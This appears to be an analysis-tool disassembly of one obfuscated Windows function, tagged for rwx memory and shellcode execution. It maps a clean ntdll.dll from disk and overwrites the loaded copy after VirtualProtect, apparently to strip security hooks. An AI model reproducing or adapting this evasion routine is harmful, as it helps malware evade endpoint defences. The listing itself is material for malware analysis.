Function at 0x4017f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [0x47f2c0]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4813e8]
mov ecx, dword [0x4813e4]
lea edx, [eax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [ebp - 0x2d]
cmp ecx, 0xa
mov ecx, 0x812d96b4
setl byte [ebp - 0x2e]
jmp 0x401880
movzx eax, word [ebp - 0x12]
mov ecx, dword [ebp - 0x24]
mov esi, 0xa2a3b4d3
inc eax
mov word [ecx], ax
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcafecd40
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
nop
cmp ecx, 0xa933043
jle 0x401910
cmp ecx, 0x3bcd9aea
jg 0x401970
cmp ecx, 0x1f16f044
jle 0x401a1a
cmp ecx, 0x2defb707
jle 0x401c75
cmp ecx, 0x2defb708
je 0x401e83
cmp ecx, 0x2e03d2db
je 0x401ec5
cmp ecx, 0x3a2ebd99
jne 0x401880
mov eax, dword [0x4813e8]
mov ebx, 0x1f16f045
mov esi, 0xcafecd40
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xcafecd40
sete al
cmove ecx, ebx
cmp dword [0x4813e4], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, ebx
jmp 0x401880
cmp ecx, 0xbe3133ff
jle 0x4019d0
cmp ecx, 0xd77323a3
jle 0x401a52
cmp ecx, 0xe0be9c2e
jle 0x401c9a
cmp ecx, 0xe0be9c2f
je 0x401ecf
cmp ecx, 0xf370d668
je 0x401edf
cmp ecx, 0x726394b
jne 0x401880
mov eax, dword [ebp - 0x18]
mov ecx, 0x4d69fff1
jmp 0x401880
cmp ecx, 0x4d69fff0
jle 0x401ac5
cmp ecx, 0x58950a75
jle 0x401d00
cmp ecx, 0x58950a76
je 0x401fa4
cmp ecx, 0x594c0e80
je 0x401fc6
cmp ecx, 0x5d52dd37
jne 0x401880
mov eax, dword [ebp - 0x34]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x897367b3
jmp 0x401880
cmp ecx, 0xa2a3b4d2
jg 0x401c47
cmp ecx, 0x941512f5
jg 0x401d5f
cmp ecx, 0x812d96b4
je 0x40201a
cmp ecx, 0x93d50893
jne 0x402277
cmp dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x2c]
mov ecx, 0x594c0e80
setne byte [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
jmp 0x401880
cmp ecx, 0x11480e06
jg 0x401d8d
cmp ecx, 0xa933044
je 0x402049
cmp ecx, 0xea531c3
jne 0x401880
mov eax, dword [ebp - 0x68]
mov ecx, 0x2defb708
movzx eax, word [eax + 6]
mov dword [ebp - 0x54], eax
jmp 0x401880
cmp ecx, 0xcafecd3f
jg 0x401daf
cmp ecx, 0xbe313400
je 0x402092
cmp ecx, 0xbf87c7fa
jne 0x401880
mov eax, dword [ebp - 0x5c]
sub esp, 0x14
vmovaps xmm0, xmmword [0x459220]
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov ecx, 0x58950a76
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0x64], eax
jmp 0x401880
cmp ecx, 0x3f41eccc
jg 0x401e0c
cmp ecx, 0x3bcd9aeb
je 0x4020b6
cmp ecx, 0x3eff47d7
jne 0x401880
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x3c]
push 0x459258
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x34]
push 0xc
push dword [ebp - 0x38]
push dword [eax]
push dword [ecx]
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
sub esp, 0x1c
vmovaps xmm0, xmmword [0x459200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
sub esp, 0x18
vmovaps xmm0, xmmword [0x459210]
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [ebp - 0x44]
mov esi, 0xa65e884f
mov dword [ecx], eax
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd77323a4
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
cmovge ecx, esi
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
jmp 0x401880
cmp ecx, 0xa65e884e
jg 0x401e38
cmp ecx, 0xa2a3b4d3
je 0x4020e3
cmp ecx, 0xa3a86351
jne 0x401880
mov ecx, 0x726394b
jmp 0x401880
cmp ecx, 0x1f16f045
je 0x401834
cmp ecx, 0x1f2c4206
jne 0x401880
mov eax, dword [ebp - 0x24]
mov ecx, 0x2e03d2db
jmp 0x401880
cmp ecx, 0xd77323a4
je 0x4020ed
cmp ecx, 0xdcd72169
jne 0x401880
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov esi, 0x11480e07
mov ebx, 0x3bcd9aeb
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
add ecx, dword [eax]
mov eax, dword [ebp - 0x24]
movzx eax, word [eax]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 0x18]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x4813e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x3bcd9aeb
jmp 0x402075
cmp ecx, 0x4d69fff1
je 0x4020f7
cmp ecx, 0x4e5ed4b1
jne 0x401880
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
mov esi, 0xdcd72169
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x3bcd9aeb
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x18]
cmovge ecx, edx
jmp 0x401880
cmp ecx, 0x941512f6
je 0x402101
cmp ecx, 0xa11e45ee
jne 0x401880
cmp byte [ebp - 0x2f], 0
mov ecx, 0x1f2c4206
mov eax, 0x4e5ed4b1
cmovne ecx, eax
jmp 0x401880
cmp ecx, 0x11480e07
je 0x402188
cmp ecx, 0x161e02f8
jne 0x401880
mov ecx, 0xa86bb3ac
jmp 0x401880
cmp ecx, 0xcafecd40
je 0x402192
cmp ecx, 0xd3e33a66
jne 0x401880
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
mov esi, 0x941512f6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf370d668
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x20]
cmovge ecx, esi
jmp 0x401880
cmp ecx, 0x3f41eccd
je 0x4021c7
cmp ecx, 0x3fb87808
jne 0x401880
mov eax, dword [ebp - 0x24]
mov ecx, 0x3a2ebd99
movzx eax, word [eax]
mov word [ebp - 0x12], ax
jmp 0x401880
cmp ecx, 0xa65e884f
je 0x4021e2
cmp ecx, 0xa86bb3ac
jne 0x401880
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
mov esi, 0x594c0e80
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x93d50893
jmp 0x40186d
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
mov esi, 0xe0be9c2f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa933044
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, esi
jmp 0x401880
mov ecx, 0x5d52dd37
jmp 0x401880
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov ecx, 0xa933044
jmp 0x401880
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
push dword [ebp - 0x20]
push 0x40
push dword [eax + 8]
push ecx
call edi
test eax, eax
mov eax, dword [ebp - 0x2c]
setne byte [eax]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.0043d7b0
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x18]
mov esi, dword [esi]
add edx, dword [esi + 0xc]
push dword [ebp - 0x20]
push dword [eax]
push dword [ecx + 8]
push edx
call edi
mov esi, dword [0x4813e8]
mov edx, dword [0x4813e4]
mov dword [ebp - 0x58], eax
lea ecx, [esi + 1]
imul ecx, esi
mov esi, 0x941512f6
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x161e02f8
cmovne esi, ebx
cmp ecx, 0xffffffff
mov ecx, esi
cmove ecx, ebx
cmp edx, 0xa
cmovge ecx, esi
jmp 0x401880
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
add eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov ecx, 0x3f41eccd
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov word [eax], 0
jmp 0x401880
cmp dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x2c]
mov esi, 0xa3a86351
setne byte [eax]
mov edx, dword [0x4813e8]
mov eax, dword [0x4813e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x93d50893
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmovge ecx, edx
jmp 0x401880
movzx eax, byte [ebp - 0x2d]
movzx ecx, byte [ebp - 0x2e]
mov esi, 0x3eff47d7
mov ebx, 0xa65e884f
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xa65e884f
cmovne ecx, esi
test al, al
cmove ecx, ebx
test dl, dl
cmovne ecx, esi
jmp 0x401880
mov eax, dword [ebp - 0x50]
mov esi, 0xa11e45ee
mov ebx, 0xe0be9c2f
cmp eax, dword [ebp - 0x54]
mov eax, dword [0x4813e8]
lea ecx, [eax + 1]
setl byte [ebp - 0x2f]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe0be9c2f
sete al
cmove ecx, esi
cmp dword [0x4813e4], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, esi
jmp 0x401880
push 0x459280
push dword [ebp - 0x6c]
call fcn.004411c0
add esp, 8
test eax, eax
mov ecx, 0x726394b
mov edx, 0xd3e33a66
cmove ecx, edx
jmp 0x401880
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x24]
add ecx, dword [eax]
movzx edx, word [edx]
lea edx, [edx + edx*4]
lea eax, [ecx + edx*8 + 0x18]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xdcd72169
mov eax, dword [ebp - 0x18]
jmp 0x401880
mov ecx, 0x3f41eccd
jmp 0x401880
mov ecx, 0xbf87c7fa
jmp 0x401880
mov ecx, 0x3fb87808
jmp 0x401880
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
push dword [ebp - 0x20]
push 0x40
push dword [eax + 8]
push ecx
call edi
test eax, eax
mov eax, dword [ebp - 0x2c]
setne byte [eax]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.0043d7b0
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x18]
mov esi, dword [esi]
add edx, dword [esi + 0xc]
push dword [ebp - 0x20]
push dword [eax]
push dword [ecx + 8]
push edx
call edi
mov ecx, 0xf370d668
jmp 0x401880
mov ecx, 0xbe313400
jmp 0x401880
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
movzx eax, word [ebp - 0x12]
mov ecx, dword [ebp - 0x24]
inc eax
mov word [ecx], ax
mov ecx, 0x1f16f045
jmp 0x401880
mov eax, dword [ebp - 0x24]
mov ecx, 0xea531c3
movzx eax, word [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
jmp 0x401880
push eax
sub esp, 8
mov ebx, edi
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
mov dword [edi + 4], 0
mov dword [edi], 0
mov dword [edi + 8], 0
push 0x459258
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xc
push edi
mov edi, ebx
push eax
push esi
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x1c
vmovaps xmm0, xmmword [0x459200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x459210]
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, 0x3eff47d7
jmp 0x401880
cmp ecx, 0x897367b3
jne 0x401880
mov eax, dword [ebp - 0x40]
push dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebp - 0x44]
push dword [eax]
call esi
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043a930
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret